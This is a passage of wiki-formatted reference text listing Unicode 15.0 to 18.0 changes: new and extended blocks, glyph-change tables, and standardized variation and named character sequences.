|22ADC, 230F2, 25B27, 26F28
|4
|-
! colspan=&quot;2&quot; |Total
!1472
|}

===Variation Sequences===
Here is a table with new standardized variation sequences:
{| class=&quot;wikitable mw-collapsible mw-collapsed&quot;
|-
!Character Sequence
!Context
!Description of Variation Appearance
|-
|1D49C FE00
|
|chancery style # MATHEMATICAL SCRIPT CAPITAL A
|-
|212C FE00
|
|chancery style # SCRIPT CAPITAL B
|-
|1D49E FE00
|
|chancery style # MATHEMATICAL SCRIPT CAPITAL C
|-
|1D49F FE00
|
|chancery style # MATHEMATICAL SCRIPT CAPITAL D
|-
|2130 FE00
|
|chancery style # SCRIPT CAPITAL E
|-
|2131 FE00
|
|chancery style # SCRIPT CAPITAL F
|-
|1D4A2 FE00
|
|chancery style # MATHEMATICAL SCRIPT CAPITAL G
|-
|210B FE00
|
|chancery style # SCRIPT CAPITAL H
|-
|2110 FE00
|
|chancery style # SCRIPT CAPITAL I
|-
|1D4A5 FE00
|
|chancery style # MATHEMATICAL SCRIPT CAPITAL J
|-
|1D4A6 FE00
|
|chancery style # MATHEMATICAL SCRIPT CAPITAL K
|-
|2112 FE00
|
|chancery style # SCRIPT CAPITAL L
|-
|2133 FE00
|
|chancery style # SCRIPT CAPITAL M
|-
|1D4A9 FE00
|
|chancery style # MATHEMATICAL SCRIPT CAPITAL N
|-
|1D4AA FE00
|
|chancery style # MATHEMATICAL SCRIPT CAPITAL O
|-
|1D4AB FE00
|
|chancery style # MATHEMATICAL SCRIPT CAPITAL P
|-
|1D4AC FE00
|
|chancery style # MATHEMATICAL SCRIPT CAPITAL Q
|-
|211B FE00
|
|chancery style # SCRIPT CAPITAL R
|-
|1D4AE FE00
|
|chancery style # MATHEMATICAL SCRIPT CAPITAL S
|-
|1D4AF FE00
|
|chancery style # MATHEMATICAL SCRIPT CAPITAL T
|-
|1D4B0 FE00
|
|chancery style # MATHEMATICAL SCRIPT CAPITAL U
|-
|1D4B1 FE00
|
|chancery style # MATHEMATICAL SCRIPT CAPITAL V
|-
|1D4B2 FE00
|
|chancery style # MATHEMATICAL SCRIPT CAPITAL W
|-
|1D4B3 FE00
|
|chancery style # MATHEMATICAL SCRIPT CAPITAL X
|-
|1D4B4 FE00
|
|chancery style # MATHEMATICAL SCRIPT CAPITAL Y
|-
|1D4B5 FE00
|
|chancery style # MATHEMATICAL SCRIPT CAPITAL Z
|-
|1D49C FE01
|
|roundhand style # MATHEMATICAL SCRIPT CAPITAL A
|-
|212C FE01
|
|roundhand style # SCRIPT CAPITAL B
|-
|1D49E FE01
|
|roundhand style # MATHEMATICAL SCRIPT CAPITAL C
|-
|1D49F FE01
|
|roundhand style # MATHEMATICAL SCRIPT CAPITAL D
|-
|2130 FE01
|
|roundhand style # SCRIPT CAPITAL E
|-
|2131 FE01
|
|roundhand style # SCRIPT CAPITAL F
|-
|1D4A2 FE01
|
|roundhand style # MATHEMATICAL SCRIPT CAPITAL G
|-
|210B FE01
|
|roundhand style # SCRIPT CAPITAL H
|-
|2110 FE01
|
|roundhand style # SCRIPT CAPITAL I
|-
|1D4A5 FE01
|
|roundhand style # MATHEMATICAL SCRIPT CAPITAL J
|-
|1D4A6 FE01
|
|roundhand style # MATHEMATICAL SCRIPT CAPITAL K
|-
|2112 FE01
|
|roundhand style # SCRIPT CAPITAL L
|-
|2133 FE01
|
|roundhand style # SCRIPT CAPITAL M
|-
|1D4A9 FE01
|
|roundhand style # MATHEMATICAL SCRIPT CAPITAL N
|-
|1D4AA FE01
|
|roundhand style # MATHEMATICAL SCRIPT CAPITAL O
|-
|1D4AB FE01
|
|roundhand style # MATHEMATICAL SCRIPT CAPITAL P
|-
|1D4AC FE01
|
|roundhand style # MATHEMATICAL SCRIPT CAPITAL Q
|-
|211B FE01
|
|roundhand style # SCRIPT CAPITAL R
|-
|1D4AE FE01
|
|roundhand style # MATHEMATICAL SCRIPT CAPITAL S
|-
|1D4AF FE01
|
|roundhand style # MATHEMATICAL SCRIPT CAPITAL T
|-
|1D4B0 FE01
|
|roundhand style # MATHEMATICAL SCRIPT CAPITAL U
|-
|1D4B1 FE01
|
|roundhand style # MATHEMATICAL SCRIPT CAPITAL V
|-
|1D4B2 FE01
|
|roundhand style # MATHEMATICAL SCRIPT CAPITAL W
|-
|1D4B3 FE01
|
|roundhand style # MATHEMATICAL SCRIPT CAPITAL X
|-
|1D4B4 FE01
|
|roundhand style # MATHEMATICAL SCRIPT CAPITAL Y
|-
|1D4B5 FE01
|
|roundhand style # MATHEMATICAL SCRIPT CAPITAL Z
|}

===Named Sequences===
Here is a table with new named character sequences:
{| class=&quot;wikitable mw-collapsible mw-collapsed&quot;
|-
!Character Sequence
!Name
|-
|0915 093C
|DEVANAGARI SEQUENCE FOR LETTER QA
|-
|0916 093C
|DEVANAGARI SEQUENCE FOR LETTER KHHA
|-
|0917 093C
|DEVANAGARI SEQUENCE FOR LETTER GHHA
|-
|091C 093C
|DEVANAGARI SEQUENCE FOR LETTER ZA
|-
|0921 093C
|DEVANAGARI SEQUENCE FOR LETTER DDDHA
|-
|0922 093C
|DEVANAGARI SEQUENCE FOR LETTER RHA
|-
|092B 093C
|DEVANAGARI SEQUENCE FOR LETTER FA
|-
|092F 093C
|DEVANAGARI SEQUENCE FOR LETTER YYA
|-
|09A1 09BC
|BENGALI SEQUENCE FOR LETTER RRA
|-
|09A2 09BC
|BENGALI SEQUENCE FOR LETTER RHA
|-
|09AF 09BC
|BENGALI SEQUENCE FOR LETTER YYA
|-
|0A32 0A3C
|GURMUKHI SEQUENCE FOR LETTER LLA
|-
|0A38 0A3C
|GURMUKHI SEQUENCE FOR LETTER SHA
|-
|0A16 0A3C
|GURMUKHI SEQUENCE FOR LETTER KHHA
|-
|0A17 0A3C
|GURMUKHI SEQUENCE FOR LETTER GHHA
|-
|0A1C 0A3C
|GURMUKHI SEQUENCE FOR LETTER ZA
|-
|0A2B 0A3C
|GURMUKHI SEQUENCE FOR LETTER FA
|-
|0B21 0B3C
|ORIYA SEQUENCE FOR LETTER RRA
|-
|0B22 0B3C
|ORIYA SEQUENCE FOR LETTER RHA
|}

== Unicode 15.0 ==

Unicode 15.0 was released on September 13, 2022. It encoded 149,186 characters, adding 4,489 new characters.

=== New blocks ===

* '''Arabic Extended-C''' (U+10EC0-U+10EFF), containing 3 characters, was added.
* '''Devanagari Extended-A''' (U+11B00-U+11B5F), containing 10 characters, was added.
* '''Kawi''' (U+11F00-U+11F5F), containing 86 characters, was added.
* '''Kaktovik Numerals''' (U+1D2C0-U+1D2DF), containing 20 characters, was added.
* '''Cyrillic Extended-D''' (U+1E030-U+1E08F), containing 63 characters, was added.
* '''Nag Mundari''' (U+1E4D0-U+1E4FF), containing 42 characters, was added.
* '''CJK Unified Ideographs Extension H''' (U+31350-U+323AF), containing 4192 characters, was added.

=== Extended blocks ===

* A Yamakkan (total 1 character) was added to '''Lao'''. (U+0ECE)
* A combining Anusvara Above Right (total 1 character) was added to '''Kannada'''. (U+0CF3)
* Letters Qa, Short I and Vocalic R (total 3 characters) were added to '''Khojki'''. (U+1123F-U+11241)
* An additional hieroglyph to Group V (total 1 character) was added to '''Egyptian Hieroglyphs'''
* Extended format controls (total 29 characters) were added to '''Egyptian Hieroglyph Format Controls'''. (U+13439-U+13455). The block was expanded from (U+13430-U+1343F) to (U+13430-U+1345F)
* Hiragana and Katakana Small Ko (total 2 characters) were added to '''Small Kana Extension'''. (U+1B132 and U+1B155)
* Letters for Malayalam transliteration (total 6 characters) were added to '''Latin Extended-G'''. (U+1DF25-U+1DF2A)
* A Wireless emoji (total 1 character) was added to '''Transport and Map Symbols'''. (U+1F6DC)
* A Nine Pointed White Star (total 1 character) was be added to '''Geometric Shapes Extended'''. (U+1F7D9)
* A Lot of Fortune, eclipse symbols and symbols for dwarf planets (total 6 characters) were added to '''Alchemical symbols'''. (U+1F774-U+1F776 and U+1F77B-U+1F77F)
* (total 20 characters) were added to '''Symbols and Pictographs Extended-A'''. (U+1FA75-U+1FA77, U+1FA87-U+1FA88, U+1FAAD-U+1FAAF, U+1FABB-U+1FABF, U+1FACE-U+1FACF, U+1FADA-U+1FADB, U+1FAE8 and U+1FAF7-U+1FAF8)
* A disunified ideograph for Macao (total 1 character) was added to '''CJK Unified Ideographs Extension C'''. (U+2B739)

===Glyph Changes===

Here is a table with glyph changes:
{| class=&quot;wikitable mw-collapsible mw-collapsed&quot;
!Block Name
!Code Points
!Count
|-
|IPA Extensions
|025E, 029A
|2
|-
|United Canadian Aboriginal Syllabics
|144B, 14D1, 1506, 15C0..15C3, 15E8..15EE, 1601, 1604..1607, 160A..160D, 1614..162D, 1630..163F, 1646..1647, 165A
|66
|-
|United Canadian Aboriginal Syllabics Extended
|18DB, 18EC, 18F1..18F2, 18F5
|5
|-
|Sundanese
|1BBF
|1
|-
|Optical Character Recognition
|2447
|1
|-
|CJK Unified Ideographs Extension A
|34DC, 3BF6, 3C43, 48B4, 4DBE
|5
|-
|CJK Unified Ideographs
|585F, 5F50, 6BC0, 7BC9, 833E
|5
|-
|Cyrillic Extended-B
|A66E
|1
|-
|Old Turkic
|10C47
|1
|-
|Egyptian Hieroglyphs
|various (new standardized variation sequences)
|94
|-
|Khitan Small Script
|18CCA
|1
|-
|Wancho (font update)
|1E2C0..1E2F9, 1E2FF
|59
|-
|Alchemical Symbols (font update)
|1F700..1F773
|116
|-
|CJK Unified Ideographs Extension B
|20048, 20A1C, 2143F, 21A5F, 21C08, 21FBA, 22ACF, 23392, 238A7, 23D8F, 23F4E, 25D20, 26E30, 27B48, 27C4F, 28633, 28B02, 28E9A, 29760, 2A60F
|20
|-
|CJK Unified Ideographs Extension C
|2B249
|1
|-
|CJK Unified Ideographs Extension E
|2BB37, 2BD7D, 2C151, 2C1E0, 2C2D6, 2C5CA, 2C810, 2CD34
|8
|-
|CJK Unified Ideographs Extension F
|2CF4E, 2D25D, 2D3EC, 2D6A7, 2D7BA, 2D979, 2DA74, 2DA97, 2DC13, 2DDC0, 2DF10, 2DF78, 2E05A, 2E0AE, 2E516, 2E640, 2E680, 2EA63
|18
|-
|CJK Compatibility Ideographs Supplement
|2F804, 2F805, 2F833, 2F835, 2F84C, 2F84F, 2F852, 2F855, 2F887, 2F88B, 2F899, 2F8A0, 2F8A6, 2F8A7, 2F8AD, 2F8B1, 2F8B4, 2F8B7, 2F8BA, 2F8D0, 2F8E0..2F8E2, 2F8E5, 2F8E6, 2F8FE, 2F900, 2F901, 2F907, 2F912, 2F922, 2F926, 2F936, 2F938, 2F94E, 2F959, 2F95F, 2F96C, 2F99F, 2F9B8, 2F9BA, 2F9D3, 2F9DB, 2F9DC, 2F9E8, 2F9EA, 2F9EE, 2FA00, 2FA0D, 2FA1B
|50
|-
|CJK Unified Ideographs Extension G
|302FC, 30723, 30A6D, 30CF7, 30DBF, 31006, 3105D
|7
|-
! colspan=&quot;2&quot; |Total
!461
|}

===Variation Sequences===
Here is a table with new standardized variation sequences:
{| class=&quot;wikitable mw-collapsible mw-collapsed&quot;
|-
!Character Sequence
!Context
!Description of Variation Appearance
|-
|13091 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH D027
|-
|13092 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH D027A
|-
|13093 FE01
|
|rotated 180 degrees # EGYPTIAN HIEROGLYPH D028
|-
|130A9 FE01
|
|rotated 180 degrees # EGYPTIAN HIEROGLYPH D047
|-
|1310F FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH F016
|-
|13117 FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH F023
|-
|1311C FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH F028
|-
|13121 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH F032
|-
|13127 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH F037A
|-
|13139 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH F051
|-
|13139 FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH F051
|-
|13183 FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH H005
|-
|13187 FE01
|
|rotated 180 degrees # EGYPTIAN HIEROGLYPH H008
|-
|131A0 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH K006
|-
|131A0 FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH K006
|-
|131B1 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH M003
|-
|131B1 FE01
|
|rotated 180 degrees # EGYPTIAN HIEROGLYPH M003
|-
|131B8 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH M009
|-
|131B9 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH M010
|-
|131BA FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH M010A
|-
|131CB FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH M017
|-
|131EE FE01
|
|rotated 180 degrees # EGYPTIAN HIEROGLYPH M044
|-
|131EE FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH M044
|-
|131F8 FE01
|
|rotated 180 degrees # EGYPTIAN HIEROGLYPH N010
|-
|131F9 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH N011
|-
|131F9 FE01
|
|rotated 180 degrees # EGYPTIAN HIEROGLYPH N011
|-
|131FA FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH N012
|-
|131FA FE01
|
|rotated 180 degrees # EGYPTIAN HIEROGLYPH N012
|-
|13216 FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH N035
|-
|13257 FE01
|
|rotated 180 degrees # EGYPTIAN HIEROGLYPH O006
|-
|1327B FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH O029
|-
|1327F FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH O031
|-
|1327F FE01
|
|rotated 180 degrees # EGYPTIAN HIEROGLYPH O031
|-
|13285 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH O036
|-
|1328C FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH O039
|-
|132A4 FE01
|
|rotated 180 degrees # EGYPTIAN HIEROGLYPH P008
|-
|132A4 FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH P008
|-
|132AA FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH Q003
|-
|132CB FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH R024
|-
|132DC FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH S010
|-
|132E7 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH S018
|-
|132E7 FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH S018
|-
|132E9 FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH S020
|-
|132F8 FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH S033
|-
|132FD FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH S037
|-
|13302 FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH S042
|-
|13303 FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH S043
|-
|13307 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH T001
|-
|13308 FE01
|
|rotated 180 degrees # EGYPTIAN HIEROGLYPH T002
|-
|13310 FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH T008
|-
|13311 FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH T008A
|-
|13312 FE01
|
|rotated 180 degrees # EGYPTIAN HIEROGLYPH T009
|-
|13312 FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH T009
|-
|13313 FE01
|
|rotated 180 degrees # EGYPTIAN HIEROGLYPH T009A
|-
|13313 FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH T009A
|-
|13314 FE01
|
|rotated 180 degrees # EGYPTIAN HIEROGLYPH T010
|-
|13314 FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH T010
|-
|1331B FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH T016
|-
|1331B FE01
|
|rotated 180 degrees # EGYPTIAN HIEROGLYPH T016
|-
|1331C FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH T016A
|-
|13321 FE01
|
|rotated 180 degrees # EGYPTIAN HIEROGLYPH T021
|-
|13321 FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH T021
|-
|13322 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH T022
|-
|13322 FE01
|
|rotated 180 degrees # EGYPTIAN HIEROGLYPH T022
|-
|13331 FE01
|
|rotated 180 degrees # EGYPTIAN HIEROGLYPH T035
|-
|13331 FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH T035
|-
|1333B FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH U007
|-
|1333C FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH U008
|-
|1334A FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH U022
|-
|13361 FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH U042
|-
|13373 FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH V007A
|-
|13377 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH V010
|-
|13378 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH V011
|-
|1337D FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH V012A
|-
|13385 FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH V019
|-
|13399 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH V026
|-
|1339A FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH V027
|-
|133AF FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH W001
|-
|133B0 FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH W002
|-
|133BF FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH W014
|-
|133D3 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH X004A
|-
|133DD FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH Y002
|-
|133F2 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH Z007
|-
|133F5 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH Z010
|-
|133F6 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH Z011
|-
|13403 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH Z015I
|-
|13416 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH AA008
|-
|13419 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH AA011
|-
|13419 FE01
|
|rotated 180 degrees # EGYPTIAN HIEROGLYPH AA011
|-
|13419 FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH AA011
|-
|1341A FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH AA012
|-
|13423 FE00
|
|rotated 90 degrees # EGYPTIAN HIEROGLYPH AA021
|-
|1342C FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH AA030
|-
|1342E FE02
|
|rotated 270 degrees # EGYPTIAN HIEROGLYPH AA032
|-
|13443 FE00
|
|expanded # EGYPTIAN HIEROGLYPH LOST SIGN
|-
|13444 FE00
|
|expanded # EGYPTIAN HIEROGLYPH HALF LOST SIGN
|-
|13445 FE00
|
|expanded # EGYPTIAN HIEROGLYPH TALL LOST SIGN
|-
|13446 FE00
|
|expanded # EGYPTIAN HIEROGLYPH WIDE LOST SIGN
|}

== Unicode 15.1 ==

Unicode 15.1 was released on September 12th, 2023. It encoded 149,813 characters, adding 627 new characters.

=== New Blocks ===
* '''CJK Unified Ideographs Extension I''' (U+2EBF0-U+2EE5F), containing 622 characters, was added.

=== Extended Blocks ===

* 4 Ideographic characters were added to '''Ideographic Description Characters'''. (U+2FFC-U+2FFF)
* An Ideographic subtraction (total 1 character) was added to '''CJK Strokes'''. (U+31EF)

=== Glyph Changes ===
Here is a table with glyph changes:
{| class=&quot;wikitable mw-collapsible mw-collapsed&quot;
!Block Name
!Code Points
!Count

|-
|CJK Unified Ideographs Extension A
|357E, 358B..358E, 3599..359D, 35AF..35B0, 35B2..35B3, 35DF..35E1, 35EF, 360F, 3612, 3F94, 44D5, 48EE
|5
|-
|CJK Unified Ideographs
|5098, 512D, 517A, 5391, 54DB, 551C, 551F, 55B8, 55ED, 56AB, 591E, 594A, 5B2E, 5DFC..5DFD, 5EE4, 609E, 65B0, 65B3, 65D5, 65F2, 67B2, 6AB6, 6AEC, 6C69, 6FC2, 6FD3, 7019, 7361, 74BD, 7934, 820B, 826E, 83BB, 8412, 8456, 848A, 896F, 8E34, 8FD7, 9166, 9855, 985E, 9C4D
|5
|-
|Latin Extended-D
|A798
|1
|-
|Latin Extended-E
|AB5A
|1
|-

|Tangut
|17105, 172A4, 17BD1..17BD3, 17EF9, 18136
|59
|-
|Alchemical Symbols
|1F741, 1F747, 1F74C, 1F74F, 1F756, 1F758, 1F763, 1F768, 1F76D, 1F76E
|116
|-
|CJK Unified Ideographs Extension B
|20302, 2087A, 20C00, 230B7, 2339E, 236EF, 237C3, 23B87, 23CC0, 23CD9, 23E5E, 2486F, 249D6, 249E8, 24D6A, 2585E, 25D89, 26A5A..26A5B, 26A73, 26A82..26A83, 26A90, 26AA6, 26AA8, 26AD8, 27350, 279F8, 284A3, 28BBA, 29516, 29530
|20
|-
|CJK Unified Ideographs Extension C
|2A741, 2AB63, 2ACD8, 2AF6F, 2B173, 2B490
|1
|-
|CJK Unified Ideographs Extension E
|2BC2E, 2BF45, 2C04C, 2C13A, 2C43C, 2C43E, 2C816
|8
|-
|CJK Unified Ideographs Extension F
|2D1CC..2D1CD, 2D1DD, 2D1E4, 2D1F7, 2D203, 2D256, 2D266, 2D2A2, 2D2AC, 2D2DA
|18
|-
|CJK Unified Ideographs Extension G
|301D4, 301D9, 301E4, 301E8, 301FF..30200, 30205, 3020C, 30211, 30215..30217, 30220, 30234..30235, 30237
|7
|-
|CJK Unified Ideographs Extension H
|314B7, 31542, 31569, 31C7F, 31D5A, 31F68
|7
|-
! colspan=&quot;2&quot; |Total
!164
|}

== Unicode 16.0 ==

Unicode 16.0 was released on September 10th, 2024. It encoded 154,998 characters, adding 5185 new characters.

=== New Blocks ===
* '''Todhri''' (U+105C0-U+105FF), containing 52 characters, was added.
* '''Garay''' (U+10D40-U+10D8F), containing 69 characters, was added.
* '''Tulu-Tigalari''' (U+11380-U+113FF), containing 80 characters, was added.
* '''Myanmar Extended-C''' (U+116D0-U+116FF), containing 20 characters, was added.
* '''Sunuwar''' (U+11BC0-U+11BFF), containing 44 characters, was added.
* '''Egyptian Hieroglyphs Extended-A''' (U+13460-U+143FF), containing 3995 characters, was added.
* '''Gurung Khema''' (U+16100-U+1613F), containing 58 characters, was added.
* '''Kirat Rai''' (U+16D40-U+16D7F), containing 58 characters, was added.
* '''Symbols for Legacy Computing Supplement''' (U+1CC00-U+1CEBF), containing 686 characters, was added.
* '''Ol Onal''' (U+1E5D0-U+1E5FF), containing 44 characters, was added.

=== Extended Blocks ===
* A combining diacritical mark for Jawi (total 1 character) was added to '''Arabic Extended-B'''. (U+0897)
* Inverted letters and a punctuation mark (total 3 characters) was added to '''Balinese'''. (U+1B4E-U+1B4F and U+1B7F)
* A letter Tje (total 2 characters) was added to '''Cyrillic Extended-C'''. (U+1C89-U+1C8A)
* Legacy computing symbols for Delete (total 3 characters) was added to '''Control Pictures'''. (U+2427-U+2429)
* CJK strokes HXG and SZP (total 2 characters) was added to '''CJK Strokes'''. (U+31E4-U+31E5)
* A capital Rams Horn, an S with Diagonal Stroke, Lamda Letters, and letters for Wakashan and Salishan Languages (total 6 characters) was added to '''Latin Extended-D'''. (U+A7CB-U+A7CD, U+A7DA-U+A7DC)
* A combining Alef overlay and letters with two dots vertically below (total 4 characters) was added to '''Arabic Extended-C'''. (U+10EC2-U+10EC4 and U+10EFC)
* A sign Nukta (total 1 character) was added to '''Kawi'''. (U+11F5A)
* A blank character (total 1 character) was added to '''Khitan Small Script'''. (U+18CFF)
* A rightwards arrow with hook, and arrows for legacy computing and arrows for Egyptology (total 12 characters) was added to '''Supplemental Arrows-C'''. (U+1F8B2-U+1F8BB, U+1F8C0-U+1F8C1)
* A Harp, Shovel, Leafless Tree, Fingerprint, Root Vegetable, Splatter, and Face with Bags Under Eyes (total 7 characters) was added to '''Symbols and Pictographs Extended-A'''. (U+1FA89, U+1FA8F, U+1FABE, U+1FAC6, U+1FADC, U+1FADF, and U+1FAE9)
* Graphic shapes for legacy computing (total 37 characters) was added to '''Symbols for Legacy Computing'''. (U+1FBCB-U+1FBEF)

== Unicode 17.0 ==
Unicode 17.0 was released on September 9th, 2025. It encoded 159,801 characters, adding 4,083 new characters.

=== New Blocks ===
* '''Sidetic''' (U+10940-U+1095F), containing 26 characters, was added.
* '''Sharada Supplement''' (U+11B60-U+11B7F), containing 8 characters, was added.
* '''Tolong Siki''' (U+11DB0-U+11DEF), containing 54 characters, was added.
* '''Beria Erfe''' (U+16EA0-U+16EDF), containing 50 characters, was added.
* '''Tangut Components Supplement''' (U+18D80-U+18DFF), containing 115 characters, was added.
* '''Miscellaneous Symbols Supplement''' (U+1CEC0-U+1CEFF), containing 34 characters, was added.
* '''Tai Yo''' (U+1E6C0-U+1E6FF), containing 55 characters, was added.
* '''CJK Unified Ideographs Extension J''' (U+323B0-U+3347F), containing 4298 characters, was added.

=== Extended Blocks ===
* A Noon with Ring Above (total 1 character) was added to '''Arabic Extended-B'''. (U+088F)
* An archaic ligature Shrii (total 1 character) was added to '''Telugu'''. (U+0C5C)
* An archaic ligature Shrii (total 1 character) was added to '''Kannada'''. (U+0CDC)
* Compound tone and harrington diacritics (total 26 characters) was to '''Combining Diacritical Marks Extended'''. (U+1ACF-U+1ADD, U+1AE0-U+1AEB)
* Saudi Riyal Sign (total 1 character) was added to '''Currency Symbols'''. (U+20C1)
* Equal Sign with Infinity Above (total 1 character) was added to '''Miscellaneous Symbols and Arrows'''. (U+2B96)
* 2 capital letters for Middle English, Latin pharyngeal voiced fricative, and Modifier Letter Capital S (total 5 characters) was added to '''Latin Extended-D'''. (U+A7CE-U+A7CF, U+A7D2, U+A7D4, U+A7F1)
* Arabic Ligature Rahmatu Allaahi Alayh and Arabic Honorifics (total 25 characters) was added to '''Arabic Presentation Forms-A'''. (U+FBC3-U+FBD2, U+FD90, U+FD91, U+FDC8-U+FDCE)
* A Small Yeh Barree with Two Dots Below, Thin Noon, Biblical End of Verse, Yeh with Four Dots Below, Honorifics, Double Vertical Bar Below, and Small Low Noon (total 14 characters) was added to '''Arabic Extended-C'''. (U+10EC5-U+10EC7, U+10ED0-U+10ED8, U+10EFA-U+10EFB)
* Chinese Simplified and Traditional Er and Yangqin Slow Signs Two, Three, and Four (total 5 characters) was added to '''Ideographic Symbols and Punctuation'''. (U+16FF2-U+16FF6)
* Some additional ideographs (total 8 characters) was added to '''Tangut'''. (U+187F8-U+187FF)
* Additional ideographs (total 22 characters) was added to '''Tangut Supplement'''. (U+18D09-U+18D1E)
* Nine symbols (total 9 characters) was added to '''Symbols for Legacy Computing Supplement'''. (U+1CCFA-U+1CCFC, U+1CEBA-1CEBF)
* A Landslide (total 1 character) was added to '''Transport and Map Symbols'''. (U+1F6D8)
* Historical asteroid symbols (total 4 characters) was added to '''Alchemical Symbols'''. (U+1F777-U+1F77A)
* Chemical symbols (total 9 characters) was added to '''Supplemental Arrows-C'''. (U+1F8D0-U+1F8D8)
* White and Black Chess Ferz and Alfil (total 4 characters) was added to '''Chess Symbols'''. (U+1FA54-U+1FA57)
* A trombone, treasure chest, hairy creature, orca, distorted face, and fight cloud (total 6 characters) was added to '''Symbols and Pictographs Extended-A'''. (U+1FA8A, U+1FA8E, U+1FAC8, U+1FACD, U+1FAEA, and U+1FAEF)
* An alarm bell symbol (total 1 character) was added to '''Symbols for Legacy Computing'''. (U+1FBFA)
* Additional ideographs (total 6 characters) was added to '''CJK Unified Ideographs Extension C'''. (U+2B73A-U+2B73F)
* Additional ideographs (total 12 characters) was added to '''CJK Unified Ideographs Extension E'''. (U+2CEA2-U+2CEAD)

== Unicode 18.0 ==
Unicode 18.0 was released on September 16, 2026.

=== New Blocks ===
*'''Bengali Supplement''' (U+11DF0-U+11DFF), containing 2 characters, was added.
* '''Archaic Cuneiform Numerals''' (U+12550-U+1268F), containing 311 characters, was added.
* '''Jurchen''' (U+18E00-U+1919F), containing 914 characters, was added.
* '''Jurchen Radicals''' (U+191A0-U+191DF), containing 51 characters, was added.
* '''Musical Symbols Supplement''' (U+1D250-U+1D28F), containing 50 characters, was added.
* '''Miscellaneous Symbols and Arrows Extended''' (U+1DB00-U+1DBFF), containing 29 characters, was added.
* '''Seal Script''' (U+3D000-U+3FC3F), containing 11328 characters, was added.

=== Extended Blocks ===
* Modifier letters Eh, Ini, and Yi (total 3 characters) was added to '''Armenian'''. (U+0558, U+058B-U+058C)
* Hebrew Point Sheva Na Mudgash and Hebrew Point Dagesh Hazaq Mudgash (total 2 characters) was added to '''Hebrew'''. (U+05C8-U+05C9)
* Signs for dot above and double dot above (total 2 characters) was added to '''Oriya'''. (U+0B53-U+0B54)
* Alternate positioned IPA diacritics and diacritics for Chao and Khoe (total 7 characters) was added to '''Combining Diacritical Marks Extended'''. (U+1ADE-U+1ADF, U+1AEC-U+1AF0)
